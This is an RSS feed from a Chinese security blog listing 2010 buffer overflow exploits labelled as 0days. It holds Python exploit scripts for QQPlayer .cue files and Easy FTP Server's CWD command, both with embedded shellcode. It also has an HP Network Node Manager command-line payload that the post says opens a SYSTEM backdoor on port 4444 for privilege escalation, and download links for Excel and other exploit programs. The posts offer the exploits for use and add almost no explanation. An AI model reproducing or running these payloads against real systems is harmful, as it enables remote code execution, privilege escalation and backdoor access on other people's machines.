<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>SpookZanG &#187; 编程溢出</title>
	<atom:link href="http://www.spookzang.net/article/category/%e7%bc%96%e7%a8%8b%e6%ba%a2%e5%87%ba/feed" rel="self" type="application/rss+xml" />
	<link>http://www.spookzang.net</link>
	<description>安全,漏洞,发现,共享,交流</description>
	<lastBuildDate>Tue, 27 Jul 2010 15:28:29 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>QQPlayer cue 文件缓冲区溢出漏洞</title>
		<link>http://www.spookzang.net/article/1934</link>
		<comments>http://www.spookzang.net/article/1934#comments</comments>
		<pubDate>Tue, 27 Jul 2010 15:28:29 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[编程溢出]]></category>
		<category><![CDATA[溢出]]></category>
		<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">http://www.spookzang.net/?p=1934</guid>
		<description><![CDATA[QQPlayer cue 文件缓冲区溢出漏洞]]></description>
			<content:encoded><![CDATA[<p>QQPlayer cue 文件缓冲区溢出漏洞</p>
<p><a href="http://image.spookzang.net//2010/07/14431.png"><img class="alignnone size-full wp-image-1935" title="14431" src="http://image.spookzang.net//2010/07/14431.png" alt="" width="742" height="512" /></a></p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
</pre></td><td class="code"><pre class="python" style="font-family:monospace;">&nbsp;
<span style="color: #808080; font-style: italic;">#!/usr/bin/env python</span>
&nbsp;
<span style="color: #808080; font-style: italic;">#################################################################</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;"># Title: QQPlayer cue File Buffer Overflow Exploit</span>
<span style="color: #808080; font-style: italic;"># Author: Lufeng Li of Neusoft Corporation</span>
<span style="color: #808080; font-style: italic;"># Vendor: www.qq.com</span>
<span style="color: #808080; font-style: italic;"># Platform: Windows XPSP3 Chinese Simplified</span>
<span style="color: #808080; font-style: italic;"># Tested: QQPlayer 2.3.696.400</span>
<span style="color: #808080; font-style: italic;"># Vulnerable: QQPlayer&lt;=2.3.696.400p1</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;">#################################################################</span>
<span style="color: #808080; font-style: italic;"># Code :</span>
&nbsp;
head = <span style="color: #483d8b;">''</span><span style="color: #483d8b;">'FILE &quot;'</span><span style="color: #483d8b;">''</span>
junk = <span style="color: #483d8b;">&quot;A&quot;</span> <span style="color: #66cc66;">*</span> <span style="color: #ff4500;">780</span>
nseh =<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>61<span style="color: #000099; font-weight: bold;">\x</span>21<span style="color: #000099; font-weight: bold;">\x</span>61&quot;</span>
seh  =<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>a9<span style="color: #000099; font-weight: bold;">\x</span>9e<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span>
adjust=<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>61<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>ca<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c0<span style="color: #000099; font-weight: bold;">\x</span>10&quot;</span>
shellcode=<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;hffffk4diFkTpj02Tpk0T0AuEE2C4s4o0t0w174t0c7L0T0V7L2z1l131o2q1k2D1l081o&quot;</span>
           <span style="color: #483d8b;">&quot;0v1o0a7O2r0T3w3e1P0a7o0a3Y3K0l3w038N5L0c5p8K354q2j8N5O00PYVTX10X41PZ41&quot;</span>
           <span style="color: #483d8b;">&quot;H4A4I1TA71TADVTZ32PZNBFZDQC02DQD0D13DJE2C5CJO1E0G1I4T1R2M0T1V7L1TKL2CK&quot;</span>
           <span style="color: #483d8b;">&quot;NK0KN2EKL08KN1FKO1Q7LML2N3W46607K7N684H310I9W025DOL1S905A4D802Z5DOO01&quot;</span><span style="color: black;">&#41;</span>
junk_=<span style="color: #483d8b;">&quot;R&quot;</span><span style="color: #66cc66;">*</span><span style="color: #ff4500;">8000</span>
foot =<span style="color: #483d8b;">''</span><span style="color: #483d8b;">'.avi&quot; VIDEO'</span><span style="color: #483d8b;">''</span>+<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>0a&quot;</span><span style="color: #483d8b;">''</span><span style="color: #483d8b;">'TRACK 02 MODE1/8888'</span><span style="color: #483d8b;">''</span>+<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>0a&quot;</span>+<span style="color: #483d8b;">&quot;INDEX 08 08:08:08&quot;</span>
payload=head+junk+nseh+seh+adjust+shellcode+junk_+foot
&nbsp;
fobj = <span style="color: #008000;">open</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;poc.cue&quot;</span>,<span style="color: #483d8b;">&quot;w&quot;</span><span style="color: black;">&#41;</span>
fobj.<span style="color: black;">write</span><span style="color: black;">&#40;</span>payload<span style="color: black;">&#41;</span>
fobj.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span></pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://www.spookzang.net/article/1934/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Easy FTP Server v1.7.0.11 远程缓冲区溢出漏洞</title>
		<link>http://www.spookzang.net/article/1927</link>
		<comments>http://www.spookzang.net/article/1927#comments</comments>
		<pubDate>Mon, 19 Jul 2010 08:48:03 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[入侵渗透]]></category>
		<category><![CDATA[编程溢出]]></category>
		<category><![CDATA[0day]]></category>
		<category><![CDATA[提权]]></category>
		<category><![CDATA[溢出]]></category>
		<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">http://www.spookzang.net/?p=1927</guid>
		<description><![CDATA[Easy FTP Server v1.7.0.11 远程缓冲区溢出漏洞，以及0day程序。]]></description>
			<content:encoded><![CDATA[<p>Easy FTP Server v1.7.0.11 远程缓冲区溢出漏洞，以及0day程序。</p>
<p><a href='http://image.spookzang.net//2010/07/14402.zip'>漏洞利用程序下载</a></p>
<p><a href="http://image.spookzang.net//2010/07/14402.png"><img src="http://image.spookzang.net//2010/07/14402.png" alt="" title="14402" width="1115" height="898" class="alignnone size-full wp-image-1928" /></a></p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
</pre></td><td class="code"><pre class="python" style="font-family:monospace;"><span style="color: #808080; font-style: italic;"># Exploit Title: Easy FTP Server v1.7.0.11 CWD Command Remote Buffer Overflow Exploit (Post Auth)</span>
<span style="color: #808080; font-style: italic;"># Date: 2010-07-18</span>
<span style="color: #808080; font-style: italic;"># Author: fdisk</span>
<span style="color: #808080; font-style: italic;"># Software Link:</span>
<span style="color: #808080; font-style: italic;"># Version: 1.7.0.11</span>
<span style="color: #808080; font-style: italic;"># Tested on: Windows XP SP3 en</span>
<span style="color: #808080; font-style: italic;"># CVE:</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">socket</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">sys</span>
&nbsp;
buffersize = <span style="color: #ff4500;">268</span>
&nbsp;
<span style="color: #808080; font-style: italic;"># windows/exec - 227 bytes x86/shikata_ga_nai EXITFUNC=process, CMD=calc.exe</span>
shellcode = <span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>b8<span style="color: #000099; font-weight: bold;">\x</span>f1<span style="color: #000099; font-weight: bold;">\x</span>18<span style="color: #000099; font-weight: bold;">\x</span>c7<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>d9<span style="color: #000099; font-weight: bold;">\x</span>c7<span style="color: #000099; font-weight: bold;">\x</span>29<span style="color: #000099; font-weight: bold;">\x</span>c9<span style="color: #000099; font-weight: bold;">\x</span>b1<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>d9<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>f4&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>5b<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>12<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>fc<span style="color: #000099; font-weight: bold;">\x</span>03<span style="color: #000099; font-weight: bold;">\x</span>b2<span style="color: #000099; font-weight: bold;">\x</span>16<span style="color: #000099; font-weight: bold;">\x</span>25<span style="color: #000099; font-weight: bold;">\x</span>84<span style="color: #000099; font-weight: bold;">\x</span>c8<span style="color: #000099; font-weight: bold;">\x</span>cf<span style="color: #000099; font-weight: bold;">\x</span>20&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>67<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>10<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>e1<span style="color: #000099; font-weight: bold;">\x</span>d5<span style="color: #000099; font-weight: bold;">\x</span>21<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>95<span style="color: #000099; font-weight: bold;">\x</span>9e<span style="color: #000099; font-weight: bold;">\x</span>10<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>dd<span style="color: #000099; font-weight: bold;">\x</span>f2<span style="color: #000099; font-weight: bold;">\x</span>98&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>1e<span style="color: #000099; font-weight: bold;">\x</span>b3<span style="color: #000099; font-weight: bold;">\x</span>e6<span style="color: #000099; font-weight: bold;">\x</span>2b<span style="color: #000099; font-weight: bold;">\x</span>52<span style="color: #000099; font-weight: bold;">\x</span>1c<span style="color: #000099; font-weight: bold;">\x</span>09<span style="color: #000099; font-weight: bold;">\x</span>9b<span style="color: #000099; font-weight: bold;">\x</span>d9<span style="color: #000099; font-weight: bold;">\x</span>7a<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>1c<span style="color: #000099; font-weight: bold;">\x</span>ec<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>ea&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>de<span style="color: #000099; font-weight: bold;">\x</span>6e<span style="color: #000099; font-weight: bold;">\x</span>3f<span style="color: #000099; font-weight: bold;">\x</span>f0<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>7e<span style="color: #000099; font-weight: bold;">\x</span>3b<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>21<span style="color: #000099; font-weight: bold;">\x</span>a8<span style="color: #000099; font-weight: bold;">\x</span>c0<span style="color: #000099; font-weight: bold;">\x</span>10&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>2e<span style="color: #000099; font-weight: bold;">\x</span>1b<span style="color: #000099; font-weight: bold;">\x</span>f5<span style="color: #000099; font-weight: bold;">\x</span>15<span style="color: #000099; font-weight: bold;">\x</span>72<span style="color: #000099; font-weight: bold;">\x</span>a0<span style="color: #000099; font-weight: bold;">\x</span>f4<span style="color: #000099; font-weight: bold;">\x</span>f9<span style="color: #000099; font-weight: bold;">\x</span>f9<span style="color: #000099; font-weight: bold;">\x</span>98<span style="color: #000099; font-weight: bold;">\x</span>8e<span style="color: #000099; font-weight: bold;">\x</span>7c<span style="color: #000099; font-weight: bold;">\x</span>3d<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>25&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>7e<span style="color: #000099; font-weight: bold;">\x</span>6d<span style="color: #000099; font-weight: bold;">\x</span>dd<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>c8<span style="color: #000099; font-weight: bold;">\x</span>95<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>1c<span style="color: #000099; font-weight: bold;">\x</span>e9<span style="color: #000099; font-weight: bold;">\x</span>a4<span style="color: #000099; font-weight: bold;">\x</span>ba<span style="color: #000099; font-weight: bold;">\x</span>7e<span style="color: #000099; font-weight: bold;">\x</span>d5<span style="color: #000099; font-weight: bold;">\x</span>ef<span style="color: #000099; font-weight: bold;">\x</span>b7&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>b5<span style="color: #000099; font-weight: bold;">\x</span>ad<span style="color: #000099; font-weight: bold;">\x</span>ee<span style="color: #000099; font-weight: bold;">\x</span>11<span style="color: #000099; font-weight: bold;">\x</span>84<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>c1<span style="color: #000099; font-weight: bold;">\x</span>5d<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>ee<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>95<span style="color: #000099; font-weight: bold;">\x</span>b5<span style="color: #000099; font-weight: bold;">\x</span>c8&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>8b<span style="color: #000099; font-weight: bold;">\x</span>e0<span style="color: #000099; font-weight: bold;">\x</span>cd<span style="color: #000099; font-weight: bold;">\x</span>2b<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>f3<span style="color: #000099; font-weight: bold;">\x</span>15<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>ed<span style="color: #000099; font-weight: bold;">\x</span>76<span style="color: #000099; font-weight: bold;">\x</span>88<span style="color: #000099; font-weight: bold;">\x</span>f0<span style="color: #000099; font-weight: bold;">\x</span>66<span style="color: #000099; font-weight: bold;">\x</span>20<span style="color: #000099; font-weight: bold;">\x</span>68&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>01<span style="color: #000099; font-weight: bold;">\x</span>aa<span style="color: #000099; font-weight: bold;">\x</span>b7<span style="color: #000099; font-weight: bold;">\x</span>fb<span style="color: #000099; font-weight: bold;">\x</span>0d<span style="color: #000099; font-weight: bold;">\x</span>07<span style="color: #000099; font-weight: bold;">\x</span>b3<span style="color: #000099; font-weight: bold;">\x</span>a4<span style="color: #000099; font-weight: bold;">\x</span>11<span style="color: #000099; font-weight: bold;">\x</span>96<span style="color: #000099; font-weight: bold;">\x</span>10<span style="color: #000099; font-weight: bold;">\x</span>df<span style="color: #000099; font-weight: bold;">\x</span>2d<span style="color: #000099; font-weight: bold;">\x</span>13<span style="color: #000099; font-weight: bold;">\x</span>97&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>a4<span style="color: #000099; font-weight: bold;">\x</span>67<span style="color: #000099; font-weight: bold;">\x</span>bc<span style="color: #000099; font-weight: bold;">\x</span>94<span style="color: #000099; font-weight: bold;">\x</span>ed<span style="color: #000099; font-weight: bold;">\x</span>3c<span style="color: #000099; font-weight: bold;">\x</span>dd<span style="color: #000099; font-weight: bold;">\x</span>8d<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>92<span style="color: #000099; font-weight: bold;">\x</span>e2<span style="color: #000099; font-weight: bold;">\x</span>ce<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>4b&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>84<span style="color: #000099; font-weight: bold;">\x</span>d1<span style="color: #000099; font-weight: bold;">\x</span>98<span style="color: #000099; font-weight: bold;">\x</span>f1<span style="color: #000099; font-weight: bold;">\x</span>c7<span style="color: #000099; font-weight: bold;">\x</span>bf<span style="color: #000099; font-weight: bold;">\x</span>5f<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>72<span style="color: #000099; font-weight: bold;">\x</span>86<span style="color: #000099; font-weight: bold;">\x</span>60<span style="color: #000099; font-weight: bold;">\x</span>8b<span style="color: #000099; font-weight: bold;">\x</span>7d<span style="color: #000099; font-weight: bold;">\x</span>a8&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>08<span style="color: #000099; font-weight: bold;">\x</span>ba<span style="color: #000099; font-weight: bold;">\x</span>f6<span style="color: #000099; font-weight: bold;">\x</span>27<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>dd<span style="color: #000099; font-weight: bold;">\x</span>0c<span style="color: #000099; font-weight: bold;">\x</span>a0<span style="color: #000099; font-weight: bold;">\x</span>09<span style="color: #000099; font-weight: bold;">\x</span>7c<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>29<span style="color: #000099; font-weight: bold;">\x</span>d4<span style="color: #000099; font-weight: bold;">\x</span>14&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>75<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>e7<span style="color: #000099; font-weight: bold;">\x</span>c2<span style="color: #000099; font-weight: bold;">\x</span>b9<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>64<span style="color: #000099; font-weight: bold;">\x</span>e7<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>b6<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>82<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>f2<span style="color: #000099; font-weight: bold;">\x</span>32&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>7e<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>d7<span style="color: #000099; font-weight: bold;">\x</span>80<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>8c<span style="color: #000099; font-weight: bold;">\x</span>f2<span style="color: #000099; font-weight: bold;">\x</span>e2<span style="color: #000099; font-weight: bold;">\x</span>6a<span style="color: #000099; font-weight: bold;">\x</span>1f<span style="color: #000099; font-weight: bold;">\x</span>9e<span style="color: #000099; font-weight: bold;">\x</span>ca<span style="color: #000099; font-weight: bold;">\x</span>09<span style="color: #000099; font-weight: bold;">\x</span>a7&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>05<span style="color: #000099; font-weight: bold;">\x</span>13&quot;</span><span style="color: black;">&#41;</span>
&nbsp;
eip = <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>91<span style="color: #000099; font-weight: bold;">\x</span>C8<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>7E&quot;</span> <span style="color: #808080; font-style: italic;"># CALL EDI - user32.dll</span>
nopsled = <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>90&quot;</span> <span style="color: #66cc66;">*</span> <span style="color: #ff4500;">16</span>
&nbsp;
payload = <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>90&quot;</span> <span style="color: #66cc66;">*</span> <span style="color: black;">&#40;</span>buffersize-<span style="color: black;">&#40;</span><span style="color: #008000;">len</span><span style="color: black;">&#40;</span>nopsled<span style="color: black;">&#41;</span>+<span style="color: #008000;">len</span><span style="color: black;">&#40;</span>shellcode<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> ExploitEasyFTP<span style="color: black;">&#40;</span>target<span style="color: black;">&#41;</span>:
    s = <span style="color: #dc143c;">socket</span>.<span style="color: #dc143c;">socket</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">socket</span>.<span style="color: black;">AF_INET</span>, <span style="color: #dc143c;">socket</span>.<span style="color: black;">SOCK_STREAM</span><span style="color: black;">&#41;</span>
    connect = s.<span style="color: black;">connect</span><span style="color: black;">&#40;</span><span style="color: black;">&#40;</span>target, <span style="color: #ff4500;">21</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
    s.<span style="color: black;">recv</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">1024</span><span style="color: black;">&#41;</span>
    s.<span style="color: black;">send</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'User anonymous<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>'</span><span style="color: black;">&#41;</span>
    s.<span style="color: black;">recv</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">1024</span><span style="color: black;">&#41;</span>
    s.<span style="color: black;">send</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'PASS anonymous<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>'</span><span style="color: black;">&#41;</span>
    s.<span style="color: black;">send</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'CWD '</span>+nopsled+shellcode+payload+eip+<span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>'</span><span style="color: black;">&#41;</span>
    s.<span style="color: black;">recv</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">1024</span><span style="color: black;">&#41;</span>
    s.<span style="color: black;">send</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'QUIT ftp<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>'</span><span style="color: black;">&#41;</span>
    s.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
&nbsp;
target = <span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#93;</span>
&nbsp;
ExploitEasyFTP<span style="color: black;">&#40;</span>target<span style="color: black;">&#41;</span></pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://www.spookzang.net/article/1927/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>惠普 Network Node Manager 7.53 缓冲区溢出漏洞+0day</title>
		<link>http://www.spookzang.net/article/1923</link>
		<comments>http://www.spookzang.net/article/1923#comments</comments>
		<pubDate>Fri, 16 Jul 2010 04:20:19 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[入侵渗透]]></category>
		<category><![CDATA[编程溢出]]></category>
		<category><![CDATA[0day]]></category>
		<category><![CDATA[溢出]]></category>
		<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">http://www.spookzang.net/?p=1923</guid>
		<description><![CDATA[HP Network Node Manager (NNM) 7.53缓冲区溢出漏洞+0day。在运行这个0day之后就能获得一个端口为4444的system后门，这个漏洞可以用来提权，使得可以用user权限轻松获得system权限！]]></description>
			<content:encoded><![CDATA[<p>HP Network Node Manager (NNM) 7.53缓冲区溢出漏洞+0day。</p>
<p><a href="http://image.spookzang.net//2010/07/14256.png"><img src="http://image.spookzang.net//2010/07/14256.png" alt="" title="14256" width="800" height="600" class="alignnone size-full wp-image-1924" /></a></p>
<p>如图运行下面语句即可打开一个端口为4444的后门。</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="language" style="font-family:monospace;">C:\Program Files\HP OpenView\www\bin\ovwebsnmpsrv.exe -dump AAAAAAAAAAAAUXf-9Tf-9Tf-9TU\AAAAAAAAAAAAAAAAAAAAAPYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIIlIxMYC0EPGpCPNiJEP1KbQtLKPRFPLKF2DLNkF2EDNkD2ExFoMgPJDfDqIoEaIPNLElPaQlFbDlGPJaHODMFaIWKRL0QBF7LKBrFpLKQRElFaJpNkQPD8OuIPCDCzEQHPF0LKQXGhNkBxEpEQHSKSElQYLKDtLKFaKfP1KOP1KpLlIQJoDMGqO7DxM0BUJTFcCMIhGKQmQ4CEKRBxLKBxQ4FaN3E6NkDLPKLKBxELEQJsLKC4NkC1HPMYG4GTQ4QKQKCQPYQJCaKOIpBxQOCjLKDRHkMVCmE8GCFRGpC0E8BWCCP2CoPTPhPLQgFFDGIoJuOHNpEQGpGpQ9HDPTBpBHFIMPPkGpIoKePPPPPPBpG0F0G0F0QxJJDOKoM0KOHULIO7DqIKQCE8C2GpFqQLK9HfPjDPCfCgPhIRIKEgE7KOIEBsBwBHH7KYDxKOIoJuQCCcF7PhQdJLEkKQKON5QGOyIWE8QeBNPMQqKON5BHQsBME4C0NiJCBwBwQGP1L6PjGbPYCfKRImBFO7G4FDGLC1FaNmPDGTFpKvGpG4QDPPCfQFF6CvBvBnBvF6QCQFBHQiJlEoNfKOJuK9IpBnF6CvIoP0BHDHOwGmCPKOHUMkJPH5MrF6BHMvJ5MmOmKOJuElDFCLFjOpKKM0BUEUOKG7GcQbBOCZC0CcKON5DJAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYY5AZCCX,Y,XP\SX-1UUU-1PPP-N_ZZPSX-zzzd-{zzd-{zzMPCCCCCCCCCCCCCCCCCCCCCCCCCCCC</pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://www.spookzang.net/article/1923/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Excel 0x5D 记录缓冲区溢出0day程序</title>
		<link>http://www.spookzang.net/article/1919</link>
		<comments>http://www.spookzang.net/article/1919#comments</comments>
		<pubDate>Thu, 15 Jul 2010 05:35:43 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[编程溢出]]></category>
		<category><![CDATA[0day]]></category>
		<category><![CDATA[溢出]]></category>
		<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">http://www.spookzang.net/?p=1919</guid>
		<description><![CDATA[Excel 0x5D 记录缓冲区溢出漏洞，附带漏洞0day利用程序，漏洞影响的版本是Office 2007.
]]></description>
			<content:encoded><![CDATA[<p>Excel 0x5D 记录缓冲区溢出漏洞！受影响的版本是Office 2007.<br />
<a href='http://image.spookzang.net//2010/07/14361.zip'>点击下载利用程序</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.spookzang.net/article/1919/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Real Player 12.0.0.879 Windows Xp 0day</title>
		<link>http://www.spookzang.net/article/1898</link>
		<comments>http://www.spookzang.net/article/1898#comments</comments>
		<pubDate>Fri, 09 Jul 2010 06:57:11 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[入侵渗透]]></category>
		<category><![CDATA[编程溢出]]></category>
		<category><![CDATA[溢出]]></category>
